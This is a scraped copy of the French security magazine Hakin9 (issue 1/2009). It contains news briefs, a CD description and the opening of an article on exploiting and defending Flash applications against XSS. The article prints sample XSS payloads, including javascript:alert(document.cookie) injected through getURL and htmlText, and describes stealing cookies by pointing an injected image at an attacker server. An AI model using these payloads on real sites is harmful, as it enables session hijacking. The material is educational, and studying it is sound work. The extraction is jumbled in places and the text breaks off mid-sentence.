P. 1
hakin9_1_2009_FR

hakin9_1_2009_FR

|Views: 739|Likes:
Published by karibou21

More info:

Published by: karibou21 on Apr 13, 2011
Copyright:Attribution Non-commercial

Availability:

Read on Scribd mobile: iPhone, iPad and Android.
download as PDF, TXT or read online from Scribd
See more
See less

05/13/2013

pdf

text

original

ÉDITORIAL
FIREWALL & RÉSEAUX

C

hers lecteurs, nous avons le plaisir de vous présenter le 1er numéro de cette nouvelle année 2009. À cette occasion, nous vous souhaitons à tous et toutes une merveilleuse année 2009 pleine de réussite professionnelle, ainsi que beaucoup de plaisir lors de la lecture de notre magazine. L'année dernière, beaucoup d'entre vous nous suggéraient de nous intéresser au sujet de la sécurité d'applications Web. Nous avons pris en compte vos souhaits, et revenons vers vous cette fois, avec le dossier qui présente cette question sous différents aspects. Nous vous montrerons que les applications Flash ne sont pas plus protégées des XSS que des autres types de failles de sécurité et comment s'en protéger. Nous présenterons aussi les phases de test et d'audit des applications Internet Riches, ainsi que les techniques d'utilisation des outils Open Source afin d'automatiser la désobfuscation des codes Javascript malicieux. Et maintenant nous voudrions attirer votre attention au sujet principal du numéro. Nous invitons ceux, qui s'intéressent à la sécurisation réseaux à la lecture des articles d'Alexandre Chaigneau et Nicolas Renard. Le premier vous introduira à la configuration et l'utilisation des firewalls Cisco Pix et ASA, l'autre vous expliquera le fonctionnement et la mise en place du protocole 802.1X sur un commutateur Cisco. Ce numéro contient aussi l'article qui vous expliquera comment analyser un packer simple et comment programmer un un-packer et un autre présentant les avantages et faiblesses du navigateur Google Chrome. Comme d'habitude nous aborderons la question de la récupération et la protection des données. Cette fois ci, le sujet est : Comment protéger l'accès à ses données et quelles sont les méthodes de contournement. Pour conclure, nous vous guiderons à la certification et norme ISO 27001. Sans oublier le CD-ROM, sur lequel, vous trouverez quatre applications commerciales, tutoriel vidéo et la nouvelle version de BackTrack.

Nous vous souhaitons une très bonne lecture,

1/2009 HAKIN9

3

SOMMAIRE
DOSSIER
12 Exploitation et défense des applications Flash
NEIL BERGMAN Lors du développement d’applications web complexes, la plupart des développeurs ne connaissent pas tous les risques encourus auxquelles leurs applications doivent faire face.

34

Applications Internet Riches Failles relatives a code source des applications FLEX

ADITYA K SOOD Cet article traite des meilleurs techniques pour tester des Applications Internet Riches de type Flash, Flex et Air. La méthode dont on va parler vise a mettre en �uvre une procédure identique à tous les environnements. Nous avons introduit un modele hiérarchique avec des exemples détaillés et une sémantique en relation avec les tests.

20

Google Chrome : Génese d’une révolution?

DIDIER SICCHIA Des le lendemain de lancement du Google Chrome, des pirates faisaient connaître triomphalement quelques singularités propres au navigateur Chrome, aussi des méthodes afin d’exploiter ces failles...

FOCUS
44 ISO 27001
KARIM HAMDAOUI Cette certification va tout a fait dans le sens de la volonté des entreprises en apportant une fiabilité optimale aux clients, investisseurs, collaborateurs et partenaires. Si elle ne révolutionne pas fondamentalement les processus internes et permis de les rationaliser significativement...

28

Obfuscation de code javascript (partie 1)

DAVID MACIEJAK Tous les scripts obfusqués ne sont pas malicieux. Ne sombrons pas dans la paranoia compulsive! Néanmoins, il est vrai qu’il n’est pas courant d’obfusquer un contenu Web, mais certaines compagnies ou particuliers utilisent ces méthodes.

PRATIQUE
48 Débuter avec un pare feu Cisco
ALEXANDRE CHAIGNEAU L’utilisation de plus en plus intensive d’Internet, la mise à disposition de services ou bien encore la communication entre sites géographiques sont des besoins de plus en plus présents. Ces besoins entrainent des risques importants pour la sécurité et la confidentialité des informations. Les pare-feux sont donc devenus des outils indispensables dont la maîtrise du fonctionnement est un élément primordial.

4

HAKIN9 1/2009

BACKUP 64 Protéger l’accès à ses données VINCENT LE TOUX Il est de notoriété publique qu’il est possible de récupérer les données effacées et m�me de ressusciter certains disques. Ce protocole est aussi tres souhaitable pour les réseaux Wifi afin de parfaitement sécuriser les connexions des utilisateurs. VARIA 6 En bref Ignace Kangni Kueviakoé Vous trouverez ici les nouvelles du monde de la sécurité des systèmes informatiques.1X et son protocole d’authentification EAP sont devenues une nécessité pour tous qui souhaitent protéger professionellemnt son réseau des l’accès physique par les utilisateurs. les sujets qui paraîtront dans le numéro 2/2008(36) 1/2009 HAKIN9 5 .SOMMAIRE 58 Fonctionnement et implémentation du protocole 802. Un packer est un programme qui compresse . Et les applications commerciales. Comment les pirates se protègent et de quelles manieres les enqu�teurs aboutissent à leur fin ? 80 82 Éditorial Louis Nyffeneger Notre consultant de sécurité vous présente Botnet&Web.1x NICOLAS RENARD Le protocole 802. ainsi que la configuration d’un client 802.1X pour une connexion au réseau Wifi sous MacOS/ Windows/Linux. Dans le prochain numéro Le dossier. Pour lutter contre la détection par signature les trojans sont souvent packés a l’aide d’un packer. L’auteur présente entre autres la configuration d’une borne cisco Aironet et d’un client Linux. TECHNIQUE 72 Programmation d’un unpacker de trojan BABOON Une technique tres utilisées par les antivirus est la détection par signature. 10 Sur le CD-ROM Hakin9 Nous vous présentons le contenu et le mode de fonctionnement de la version récente de notre principale distribution hakin9 live. chiffre. Cette récupération avancée peut �tre réalisée a des fins de preuve ou d’espionnage. protège les exécutables.

cette attaque dite attaque par clickjacking consiste à provoquer le clic d'un internaute sur un lien. 3suisses. Cela est plus détaillé dans l'alerte officielle d'Adobe au http://www. Chosen Security. Il a cependant présenté une méthode de désactivation de la caméra et du microphone via l'interface médias de Flash. de celle des applications et des bases données. Jusqu’à ce jour personne ne sait comment les pirates ont pu se procurer de tous ces codes d'accès. protection des données et des messageries. Panda Security est la solution antivirale que SkyRecon a choisi d’intégrer à son produit StormShield. Il s’agit d’un gang de pirates qui aurait compromis deux cent huit mille serveurs. sécurité web. Et jusqu’à la fin du mois septembre. Ce qui montre que Panda Security reste 6 HAKIN9 1/2009 . Ce rachat vient à point nommé renforcer. mais il est fort probable qu'ils proviennent de plusieurs sources. Les PC des internautes ainsi compromises peuvent donc servir à un botnet dans le but d'envoyer du spam ou mener des attaques contre d'autres serveurs. Pour ce qui est de la France. sans son consentement et sans qu'il ne soit prévenu. Selon l'alerte de Adobe. Il est possible pour les entreprises de désactiver les interactions entre Flash et les webcams et ou microphones à l'aide d'un fichier de configuration. Selon un responsable de Mcafee. En faisant des études sur le kit de piratage Neosploit.fr. Application Security. Ce partenariat profiterait certainement aussi à SkyRecon puisque cette nouvelle fonctionnalité lui permettra de lutter contre la tendance de ses concurrents à offrir l'antivirus qu'ils ont à leur gamme pour gagner des appels d'offre plus généraux. Des analystes en stratégie prédisent que McAfee devrait encore étendre ses compétentes dans les domaines de la SKYRECON A PORTÉ SON CHOIX SUR PANDA SECURITY Anciennement Panda Software. Un partenariat intéressant est donc créé entre ces deux structures. dynamique face à une concurrence de taille.EN BREF ATTAQUE MASSIVE : 208 000 SERVEURS COMPROMIS À TRAVERS LE MONDE La nouvelle a fait vent début octobre 2008.fr seraient parmi ceux compromis. voire même dans la gestion des identités. Il est à remarquer que Mcafee conduit depuis printemps 2007 une active politique de croissance externe comme en témoigne les rachats de Onigma. Pour ceux qui ne le savent pas. Il est à noter que cet éditeur d'antivirus a reconsidéré son offre en la réorganisant suivant la taille d’entreprise.com/support/security/ advisories/apsa08-08. le rapprochement avec Secure Computing va permettre au groupe de générer près de 500 millions de dollars de revenus sur la sa gamme SRM. L'accès à cette application était restreint et réservé à six ou sept adresses IP uniquement. qu’ils aient été achetées et agrégées sur une période de temps. McAfee va enrichir sa gamme d'outils de gestion des risques de sécurité (SRM) destinés aux professionnels : contrôle d'accès. aucun correctif ne serait encore disponible (même si Adobe plutôt annoncé pour la fin du mois d’octobre). dont le service postal américain. À travers cette opération. Secure Computing aurait 22 000 clients et 238 millions de chiffres d'affaires en 2007 et travaillerait avec plus de 2000 partenaires à travers le monde. les pirates disposaient d'une application web afin de valider les mots de passe et d'installer automatiquement Neosploit sur les sites compromis. Cela permettrait également de forcer le plugin Flash du navigateur à activer la webcam et le microphone de l'ordinateur afin d'espionner son environnement immédiat. les sites de TF1. de Reconnex et de SafeBoot. l’offre de solutions professionnelles regroupées dans la division Network Security dont la direction est confiée au PDG de Secure Computing. Ce qui permettrait d’enregistrer du son et des images. Il a aussi intégré de nouvelles fonctionnalités dont le support de Linux. DÉTOURNEMENT DE WEBCAM Au début du mois d’août 2008. le chercheur Ian Amit a découvert un serveur FTP partagé par plusieurs groupes de pirates et qui hébergeait 208 000 codes d'accès FTP à des sites web légitimes à travers la planète. Il a lancé en mai 2008 une offre dénommée Security as a Service et a accru sa présence sur le continent nord américain. firewall. le concurrent direct de Symantec dans le domaine des logiciels de sécurité informatique a acquis Secure Computing spécialiste de la sécurisation des applications d'entreprise pour un montant de 465 millions de dollars. 80 000 sites web étaient déjà infectés par la dernière version d'un kit de piratage que l'on prenait pour disparu. Et les sociétés suivantes sont citées comme les prochaines cibles : ArcSight. Secure computing dominerait le marché mondial des applications de sécurisation Web avec une part de 11%. Parmi eux. D’après le chercheur.html MCAFEE S'OFFRE SECURE COMPUTING POUR 465 MILLIONS DE DOLLARS Mcafee. Neosploit est un outil clé-en-main qu'un pirate peut installer sur un serveur web afin que ce dernier infecte ses visiteurs lors de leur passage sur le site. Parmi ces sites une grande partie de ces sites appartiennent à de grands groupes.fr et bouyguestelecom. pour Mcafee. Courion et LogRhythm. ou qu'ils aient eu recours à des campagnes d’ameçonnage. la firme Adobe a indiqué qu'une récente vulnérabilité peut être utilisée pour activer la webcam des ordinateurs à la visite d'une page web piégée.adobe. etc. sécurité de la gestion des informations.

. Microsoft a publié son bulletin mensuel mi octobre. avec une antenne plus importante. Cette astuce a été mis au point dans le but de convaincre les entreprises de la sécurité des supports USB. ANTIVIRUS SUR SES CLÉS USB DE SANDISK C’est fait. à distance. et les résultats de leurs travaux sont assez époustouflants. une formation sur la sécurité informatique. et ce à une distance de vingt mètres. Son prix passe ainsi de 60 euros à 89 euros. En fait. cette méthode pourrait être appliquée à plusieurs dizaines de mètres de distance. ont fait une découverte plutôt surprenante fin octobre 2008. Ils ont mis sur écoute les ondes électromagnétiques émises par onze claviers filaires différents. Étant donné que ces expériences ont été réalisées à l'aide d'une petite antenne qui captait l'intégralité du spectre électromagnétique émis par les claviers. aucun moyen n’a été trouvé pour empêcher la transmission de ces ondes émises par les claviers filaires. LE COÛT DU PASSEPORT ÉLECTRONIQUE MONTE EN FRANCE On estime que le passeport coûtera 29 euros de plus en 2009. tout document transféré sur la clé USB sera automatiquement analysé par le moteur antivirus VirusScan de McAfee. ces deux chercheurs ont réussi à intercepter le contenu intégral des frappes saisies à une distance de vingt mètres. cela reviendrait encore plus cher. UN CHEVAL DE TROIE CACHÉ DANS UN FAUX PATCH MICROSOFT Comme à son habitude. reliés en USB ou via un port PS/2 à des ordinateurs. C’est un peu comme pour un logiciel keylogger. Ce procédé leur a permis. selon un amendement adopté par les députés français. Pour ce qui est du passage au passeport biométrique.EN BREF propagation d'un code malveillant. PIRATAGE DE CLAVIERS FILAIRES PAR DES CHERCHEURS SUISSES PIRATES Deux étudiants.. qui jusqu'ici ne payaient rien. Le passeport adulte passera de 60 euros à 89 euros. s'acquitteront de 20 euros. en écoutant les ondes électromagnétiques émises par des claviers. celui pour les 15-18 ans de 30 euros à 45 euros et les moins de 15 ans. Quinze ingénieurs et spécialistes du continent 1/2009 HAKIN9 7 . Un fichier détecté comme infecté ne pourra par conséquent pas être copié sur un ordinateur. chercheurs du laboratoire Sécurité et Cryptographie de l'université de Lausanne. vendredi 24 octobre. La pièce jointe se trouve en vérité être un cheval de Troie dont l'exécution provoquera la contamination du poste de l'internaute. en Suisse Romande. Des pirates ont profité de cette même occasion pour diffuser des emails estampillés Microsoft et censés contenir la dernière mise à jour de sécurité de l'éditeur. Ainsi. Et cette technique pourrait aussi être utilisée par des vrais pirates. pour par exemple récupérer. Et jusqu’à la fin octobre. dans le cadre de l'examen du projet de budget 2009. Ce qui évitera ainsi la CYBERSÉCURITÉ EN AFRIQUE Du 06 au 17 octobre 2008 s’est tenu à Tunis. De quoi éviter fraudeurs de carte de crédit de passer par des techniques compliquées et parfois très coûteuses pour récupérer des informations bancaires. Les campagnes virales de cette nature lors du Patch Tesday de Microsoft sont récurrentes et Microsoft rappelle aux utilisateurs qu'ils doivent recourir au service de mise à jour de Windows ou se rendre sur son site pour télécharger les correctifs. SanDisk a ajouté des capacités d'antivirus à ses modèles de clés Cruzer Enterprise. Il s’agit d’une initiative de la CNUCED qui dans le cadre des activités de ses centres d’excellence a parrainé l’ANSI (Agence Nationale de la Sécurité Informatique) tunisienne pour l’organisation de cette formation. de savoir avec exactitude et précision ce qui était tapé sur ces claviers. les codes tapés sur un distributeur automatique de billets. Les clés Cruzer Enterprise intègrent déjà le chiffrement par l'algorithme AES 256-bit.

3 Mpx. à tout moment. Il s'engage aussi à réduire le nombre de fenêtres apparaîssant à l'écran pour demander confirmation à l'utilisateur qu'il possède bien les droits pour effectuer telle ou telle tâche. consultez : http://www. contre 1000 $ il y a un an. EGILIA LEARNING OFFRE UN ULTRA PORTABLE EEE PC EGILIA Learning offre un ultra portable Eee PC à tous les participants de ses nouvelles formations Réseau et Management ! Qui dit nouveaux cursus de Formation dit nouveaux avantages : Parfaitement adapté à cette nouvelle gamme de sessions de formation à la fois courtes et opérationnelles. Et il promet que l'UAC de Seven sera moins encombrant et se contentera de faire cela pour quoi il est prévu c’est-à-dire améliorer la sécurité du système et offrir aux utilisateurs principaux d'une machine un meilleur contrôle des applications et des paramètres. Jay Beale aurait exploité une faille apparemment toute simple. Mais. l’ultra portable Eee PC offert par EGILIA à tous les participants inscrits se révèle être le compagnon pédagogique léger (900 grammes !). si ce n'est que l'on se voit demander des informations que l'on ne vous avait jamais demandées auparavant . on passe alors en HTTP simple. peu encombrant et idéal ! Complet (1 Go de mémoire RAM. Microsoft décrit le contrôle des comptes utilisateurs comme étant l'un des outils les plus controversés de Vista. Un expert en sécurité. une autre menace se pointe. Il attend que les utilisateurs soient connectés avec leur login et identifiant pour alors prendre le contrôle de la page. qui est en mesure d'intercepter le contenu d'une session avec des applications web telles que Gmail ou Facebook par exemple. D'ailleurs sur un blog. informations confidentielles telles que leur numéro de carte bancaire ou leur code PIN (Personal Identification Number). qui est plus facile à pirater. Et la plupart des pays africains se préparent désormais à combattre la cybercriminalité. Rappelons que la totalité des supports pédagogiques sont réalisés en interne par EGILIA Learning. Comme quoi le hacking n’épargne aucun continent. et 5000 $. à l’ensemble du matériel pédagogique de la formation suivie. ces fenêtres seront plus informatives. Son auteur LE CHEVAL DE TROIE LIMBO MOINS CHER !!! Savez-vous que Limbo est maintenant commercialisé sur le marché noir ? Son prix est en baisse depuis plus d’un an. de consulter à volonté les supports de cours et de refaire les travaux pratiques liés au cursus. Il est peut être vrai que l’objectif de MS était de faire de Windows Seven un produit recueillant davantage d'impressions positives. cet outil fonctionnel permet d’accéder. installer un cheval de Troie sur un iPhone jailbreaké ou servir à installer des programmes Java lors d'une session en ligne. Processeur Intel Celeron -M ULV 900Mhz et Windows XP installé). port Ethernet. il y a deux ans. Rien ne semble suspect. Webcam 1. Le prix de vente de Limbo est en baisse constante et remarquable depuis deux ans.egilialearning. Carte Wifi 802. éditeur spécialisé dans la sécurité. Ce cheval de Troie est de plus en plus à la portée d’un nombre croissant de fraudeurs. Microsoft lui-même reconnaît les errances liées à l'UAC et prévoit de modifier cette fonctionnalité de son OS. Ce chercheur en sécurité veut prouver aux professionnels que sécuriser uniquement les formulaires de connexion n'est pas suffisant. Cet outil serait capable de modifier les paramètres de la session et d'en prendre le contrôle à distance. a développé un outil en Python dénommé The Middler. Jay Beale. en totale indépendance vis-à-vis des constructeurs. consultez : http://www. Limbo est un cheval de Troie qui permet de modifier la mise en page de sites bancaires afin de récupérer les informations sensibles des clients. 3 ports USB. une fois connecté à ce type d'application Web.egilia-learning. effacer ou modifier le carnet d'adresses ou encore changer le mot de passe de l'utilisateur légitime. pour prémunir un utilisateur du risque de piratage lors de ses connexions dans un endroit public. lecteur multicartes. À ces modules ont été ajoutés des présentations sur l’expérience tunisienne en la matière. L'intégration avec le navigateur est telle que le trojan opère même quand l'utilisateur se trouve sur le site légitime de la banque et modifie l'apparence du site. Il s'est aperçu que si les formulaires de connexion utilisaient le protocole sécurisé HTTPS. Il est vendu à 350 $ actuellement.com/fr/ dossiers/offres_speciales/ SÉCURISER LES FORMULAIRES DE CONNEXION DEVIENT INSUFFISANT Il est de notoriété publique désormais que les des protocoles d'encryption WiFi utilisés pour les connexions dans des lieux publics sont vulnérables. L’UAC DE MICROSOFT INDISPOSE Le contrôle des comptes utilisateurs ou UAC (User Account Control) mis en place dans Windows Vista est sujet à beaucoup de critiques. Limbo s'intègre dans un navigateur web par une technique d'injection html. De même. Ecran 9 pouces. Disque dur de 12 Go.com/fr/ Pour plus de détails sur les caractéristiques techniques Eee PC.EN BREF africain ont pris part à ce séminaire de formation théorique et pratique de 60 heures. et d'inciter les clients à entrer des 8 HAKIN9 1/2009 . Au cours de la conférence sur la sécurité SEC TOR qui s’est déroulé les 7 et 8 octobre 2008 à Toronto The Middler a été présenté. Cependant. compte aussi démontrer que cet outil peut servir à pirater une session en ligne avec une banque. Pour connaître la liste des nouvelles formations EGILIA qui donnent droit à cette offre. Elle a couvert tous les modules du CISSP. Il permet d'insérer des champs de saisie sur des sites de banques en ligne.11g. Pour GMail par exemple : on pourrait lire ou écrire des courriels. un responsable des nouvelles technologies chez RSA.

t3eu. Protocole d'encodage PKI pour authentifier vos communications sur le web. et vous assure l'intégrité de l'information. La perte de production (temps de rachat de l'équipement et de l'installation des logiciels). il est possible de renforcer la sécurité avec l'Anti Virus escan. Mémoire USB pour stocker vos informations mobiles de manière sûre et cryptée. l'information présente dans le PC est entièrement sécurisée.www. Il est possible de visualiser la date et l'heure des accès. cette console autorise la mise en place d'un rapport d'utilisation complet Le coffre-fort virtuel du T3 Cast 256 Bit AES C'est un dossier sécurisé qui facilite l'accès à vos documents cryptés seulement lorsque la clé est insérée.com EN EUROPE UN ORDINATEUR EST VOLÉ TOUTES LES QUATRE MINUTES ! Le vol de votre équipement informatique peut avoir des conséquences néfastes. simple et facile d'utilisation. Le vol de l'équipement. Le désir de partager ou de gérer les ressources de vos PC et ordinateurs portables. Il vous garantit l'authentification de l’expéditeur et du destinataire de tous les e-mails grâce au certificat digital. par les informations stockées sur votre clé USB ou tout simplement par le vol de vos ordinateurs portables. stocker ou communiquer des informations sensibles ou confidentielles. publicité La Clé de sécurité T3 a été certifiée Windows Vista. La T3 travel smart comporte en plus des fonctions de la version basic une couverture contre le vol de votre pc et pour une meilleure protection. création de dossiers encryptés sur votre disque dur. Contrôle parental vous permet de bloquer des sites non désirés. Cryptage de vos informations confidentielles. La perte et le vol d'informations pouvant être exposés à toutes les personnes étrangères. En toute sécurité vous pouvez transporter. disponible sur les cinq continents. Il a obtenu le Award Winner Best In Security Pour toute information complémentaire Web : http://www. Le T3 permet de ne plus être préoccupé par les accès non autorisés à votre information. il permet aussi la création de plusieurs coffre-fort virtuel.t3eu. Audit permanent pour vérifier les accès à votre ordinateur et de contrôler les accès non autorisés.com HAKIN9 9 . Le T3 vous garantit une sécurité complète. Son utilisateur aura l'esprit tranquille. de créer votre propre liste de sites autorisés. Le T3 Basic c'est : Blocage/déblocage de votre ordinateur en insérant/ retirant votre clé T3.

6. pour ce test d'intrusion la chance était de notre côté. de sorte que vos recherches sur Internet seront plus rapides et plus faciles que jamais. Les patchs de correction et autres scripts automatiques ont été ajoutés. Version gratuite http://www. vous pouvez automatiquement changer le design et l'interface du site uniquement avec votre souris.LIVE CD-ROM – HAKIN9. afin de repérer des résultats pertinents et d'une qualité supérieure. Prix : $29 (environ 23€) http://www. Outre cet aspect. peu importe où ils se trouvent sur le disque dur de leur système. PDF d’Adobe et multimédia. Un support pour la carte sans fil Broadcom a également été rajouté et des pilotes WiFi ont été élaborés de manière à supporter les injections de paquets 10 HAKIN9 1/2009 bruts. Nous avons vérifié immédiatement s'il y avait des dossiers partagés. appliqués ou développés de manière à proposer un environnement agréable. C ette édition du magazine hakin9 est proposée avec hakin9. Vous y trouverez comme d'habitude des versions complètes d'applications commerciales particulièrement utiles. Les quelques nouvelles fonctionnalités de BackTrack3 sont présentées avec BackTrack3 hakin9.live. Vous trouverez les programmes suivants dans le dossier Appliations du CD d’hakin9. Elles sont préparées exclusivement à l'attention toute particulière de nos lecteurs. nous nous sommes connecté sur le réseau sans-fil du client. Vous disposez également de jeux java.html et fichiers joints.com/ COPERNIC AGENT BASIC Copernic Agent Basic interroge les meilleurs moteurs de recherche sur le Web.de/eng/index. Chaque paquet. de fonctionnalités d'optimisation pour les moteurs de recherche (afin d'obtenir un bon référencement) et bien plus encore ! Prix : 99.live. courriels Consultez vite le tutoriel sur notre CD ! . Voulez-vous en savoir plus ? COPERNIC DESKTOP SEARCH La version Home de Copernic Desktop Search permet aux particuliers de trouver instantanément des fichiers. configuration de noyau et script contenu dans BackTrack3 est optimisé de manière à être utilisé par les experts en audits de sécurité et de tests d'intrusion.gsa-online. intuitif et prêt à l'emploi. http://www.LIVE Le magazine hakin9 est toujours accompagné d'un CD-ROM.com/fr Prix : 29.com/fr ABCWEBWIZARD WEB DESIGN Cette application vous permet de concevoir facilement des sites web entièrement personnalisés. les fichiers récemment ouverts (les fichiers vidéo visionnés) et même les logs qui indiquent les programmes exécutés (par exemple. des fichiers de type Word. Ce logiciel antispyware primé et reconnu. L'intégration du cadre d'application Metasploit2 et Metasploit3 est également disponible ainsi qu'un alignement permettant d'ouvrir des standards et des cadres d'applications tels que ISSAF et OSSTMM. La fonctionnalité la plus importante est incontestablement l'utilisation du noyau 2. notamment.live (accompagnée du CD BackTrack3). Cette distribution est riche en applications et autres plugins.live contient également des éditions spéciales d'applications commerciales parmi les plus intéressantes du moment. en une fraction de seconde. Pour pouvoir utiliser les applications commerciales fournies. Excel et Powerpoint de Microsoft. BackTrack3 est la distribution Linux live la plus pertinente dans le registre de la sécurité informatique. Ce logiciel crée des menus graphiques et des menus déroulants (en fonction de la structure choisie). efface tout l'historique de vos activités sur PC ainsi que les traces qui pourraient permettre l'usurpation de votre identité.Avec cette méthode de test d'intrusion. ceci grâce à une interface de type pointez-cliquez.copernic. D'ailleurs.HAKIN9. Sans aucune installation préalable. CLEANDRIVER DE GSA ONLINE Cleandriver efface toutes vos traces sur Internet (les sites web que vous avez consulté). Outre les mises à jour et d'autres optimisations. inutile de démarrer votre ordinateur à partir du CD : vous les trouverez dans le dossier baptisé Applications.95$ http://abcwebwizard. Pour pouvoir utiliser BackTrack3 hakin9.95€ Tutoriel Vidéo L'Art du Black Packaging par Wayne Ronaldson .copernic. il vous suffit de démarrer votre ordinateur à partir du CD. cette version de BackTrack3 hakin9.20 mis à jour à l'aide de plusieurs programmes de correction. L’application permet de retracer. la plate-forme d'analyse peut être directement démarrée à partir du CD-Rom et son contenu entièrement accessible en quelques minutes seulement. Son interface conviviale vous permet de maîtriser rapidement les nombreuses améliorations apportées. un jeu joué au bureau).

HAKIN9. En cas de problème avec votre CD.LIVE S’il vous est impossible de lire le CD. et que ce dernier n’est pas endommagé physiquement.org 6/2008 HAKIN9 1 1 . envoyez-nous un message à l’adresse suivante : cd@hakin9. essayez de lire dans au moins 2 lecteurs différents.

elles peuvent être utilisées afin de provoquer une attaque XSS.test. Ce genre d'attaque mène généralement à la compromission du compte de l'utilisateur et ne permet pas normalement l'exécution de commandes à moins de l'exploiter conjointement avec une faille dans le navigateur. de créer des connexions réseaux et d'intéragir avec d'autres application SWF.. comme JavaScript ou VBScript dans une application web. comme des combo boxes. L'objectif est généralement d'obliger un utilisateur à suivre un lien ou à visiter un site web malveillant. le client Flash dispose d'un accès complet au DOM sur le domaine. des boutons et des champs texte. Imaginons une situation frauduleuse SWF afin de clarifier le principe. Première étape. L'attribut FlashVar peut être ajouté dans un document HTML par les balises <object> et <embed> : <param name=”testParam” value=”testValue”> Des données peuvent aussi être passées directement par le biais de la barre d'adresse : http://www. CE QU'IL FAUT SAVOIR. Les vulnérabilités XSS CET ARTICLE EXPLIQUE.swf?testParam= . Une agence de pub malveillante pourrait créer une application SWF malicieuse dans le but de pirater les comptes emails et envoyer du spam. Des techniques de développement/configuration sûres. De plus.. Des vecteurs d'attaques spécifiques pour Flash. un attaquant doit trouver le moyen d'injecter du code dans l'application dans le but de l'afficher à un autre utilisateur. Depuis que les applications SWF sont introduites dans les sites web et ont un accès complet au DOM (Document Object Model) HTML. L es développeurs d'applications web devraient être familiers avec une vulnérabilité connu sous le nom de Cross Site Scripting (XSS). Les connaissances de bases du langage ActionScript. Cependant. il existe des possibilités de passer des paramètres d'entrées externe à l'application SWF.com/ testValue movie.. Les bases des attaques XSS. Les applications Flash ne sont pas plus protégées des XSS que des autres types de failles de sécurité. L'application web affichera et exécutera le code injecté dans le contexte de la session web de la victime. 12 HAKIN9 1/2009 Les attaques par Cross-site scripting ont pour but l'injection du code malicieux. Adobe fournit une variété de composants pour les programmeurs afin que ceux-ci puissent les réutiliser un peu comme les objets formulaires en HTML. mais aussi pour développer de complexes applications Internet.. La méthode de base des attaques XSS dans les applications web est décrite dans la Figure 1. Les applications Flash (fichiers portant l'extention SWF) sont distribuées par les protocoles web et ont la possibilité de lire des fichiers locaux ou distants. Des astuces d'audit de la sécurité des Flash.DOSSIER NEIL BERGMAN Exploitation et défense des applications Flash Degré de difficulté La technologie Flash d'Adobe est devenu la technologie la plus populaire non seulement afin de créer des animations et des pubs. Par défaut. Cette vulnérabilité apparaît généralement lorsque les applications web acceptent du code malicieux de source inconnue et l'affichent sans vérifier le contenu des données. les administrateurs ou les développeurs d'applications Flash peuvent prendre des précautions afin d'utiliser de façon adéquate avec ces nouvelles technologies.

test. l'attaquant peut monitorer ses logs afin d'y trouver la valeur des cookies. page. testVars.EXPLOITATION ET DÉFENSE DES APPLICATIONS FLASH de session.htmlText = usernameBox.swf? document. une boîte de dialogue apparaîtra montrant le contenu du cookie du site. Réception du code Fscommand Une méthode courante est de modifier le DOM HTML afin d'insérer une nouvelle image avec un attribut source pointant vers un fichier sur un serveur controllé par l'attaquant avec comme paramètre le contenu du cookie.getElementById('text'). Considérez le code Javascript cidessous. if (command == "changeText") { document. Avec un identifiant de session en main.".htmlText = "You must be a valid user.images[0]. args) { var fscommandObj = isInternetExplorer ? document.". Une faute courante est d'accepter les données en provenance des FlashVars ou de l'URL et ainsi passer ces données dans une fonction qui communique directement avec le navigateur sans auparavant les avoir vérifier. les FlashVars sont automatiquement importées dans l'espace des variables de l'application Flash tandis que dans ActionScript 3 il est nécessaire d'ajouter du code pour charger les paramètres externes. function checkPassword() { if(usernameBox. Le fait de modifier l'attribut source va changer l'image qui est affiché dans la page : <script type=”text/javascript”> document. var secretPassword = "ripper".com/movie. Ce faisant. Une autre fonction ActionScript qui peut être utilisé dans le cadre d'une attaque XSS est la fonction fscommand.".fscommand. function fscommand_DoFSCommand(command.load(“http://www. qui change l'attribut source de la première image de la page HTML. un attaquant dispose du contrôle complet du compte de l'utilisateur jusqu'à l'expiration de la session. 1/2009 HAKIN9 13 .cookie). Les cookies sont souvent utilisés pour stocker des informations sensibles. outputBox. Ce qui aura pour effet de rediriger l'utilisateur vers l'URL injectée dans la barre d'adresse.innerHTML = args. Méthode d'attaque XSS utilisée dans les applications Flash Il est aussi possible de charger des données externes en utilisant la classe LoadVars testVars = new LoadVars().php”) Considérez maintemant la requête suivante qu'un attaquant pourrait faire : http://www.com/ ���������������� ����������������������������������� ���������������������������������������������� ������������������������� ��� ������������������������ ������������������������������������ </script> ���������������� Figure 1.text == secretUsername && passwordBox. } Le code appelle directement la fonction getURL avec pour argument une source de donnée externe.all.src = newImage.com/ urlParam=javascript:alert( Dans ActionScript 2.fscommand : document. comme l'identifiant Listing 1.text + " isn't valid. Considérez le code ActionScript suivant : getURL(_level0.text == secretPassword) { outputBox. “http://example. La fonction getURL d'ActionScript 2 et la fonction navigateToURL d'ActionScript 3 fournissent la possibilité de charger une URL spécifique dans la fenêtre du navigateur.jpg”.htmlText = "Please enter a password. Code permettant de vérifier un mot de passe var secretUsername = "john".test. Après que la requête soit exécutée. } else { outputBox. } } Listing 2. Le DOM est un modèle d'objet standart qui représente HTML comme une structure en forme d'arbre. } } function setPassword(newPassword:String) { secretPassword = newPassword.urlParam). Il peut être utilisé par le code Javascript afin de chercher ou modifier une page HTML dynamiquement.

} if(userLoggedIn) { showCreditCardList().DOSSIER Cette fonction permet à l'application SWF de communiquer avec le lecteur flash ou le programme qui héberge le lecteur flash. des clips vidéo dans les champs texte et textarea.htmlText = _level0._+&])*[0-9a-zA-Z]+@([-0-9a-zAZ]+[. Généralement. Exemple de code SharedObject var so:SharedObject = SharedObject. fscommand("changeText".com/movie.send("connName". lcSend = new LocalConnection(). ou PNG.])+[a-zA-Z]{2. dans une animation Flash en utilisant un composant Text Field d'ActionScript 2. Il prend simplement en charge les arguments Composants HTML formatés Adobe supporte une petite partie des balises HTML qui peuvent être placées Listing 3. nous pouvons pièger le lecteur afin qu'il exécute les scrips dans les balises <img> sans pour autant altérer le fonctionnement du code. Considérez le code pour paramètrer le composant text HTML en utilisant les données d'une source externe : textbox. lcReceive. so. } Une première tentative d'embarquer du Javascript dans une image échoue.data.htmlText = html. Les développeurs devraient garder à l'esprit quelles sont les entrées accordées à l'utilisateur afin d'utiliser sagement la fonction fscommand et ensuite comment les arguments sont utilisés à l'intèrieur du document HTML.getLocal("myObj". ainsi en ajoutant simplement un commentaire de style C. so. le code suivant illustre que la validation effectuée par le lecteur est juste un test en surface. Cependant. Utilisation d'une expression régulière pour la validation d'une adresse email function testEmail(email:String):Boolean { var emailPattern:RegExp = /([0-9a-zA-Z]+[-. return emailPattern.cookie)//.htmlParam Le code JavaScript du Listing 1 pourrait donc résider dans un document HTML pour prendre en charge les commandes envoyés par l'application SWF. car le lecteur 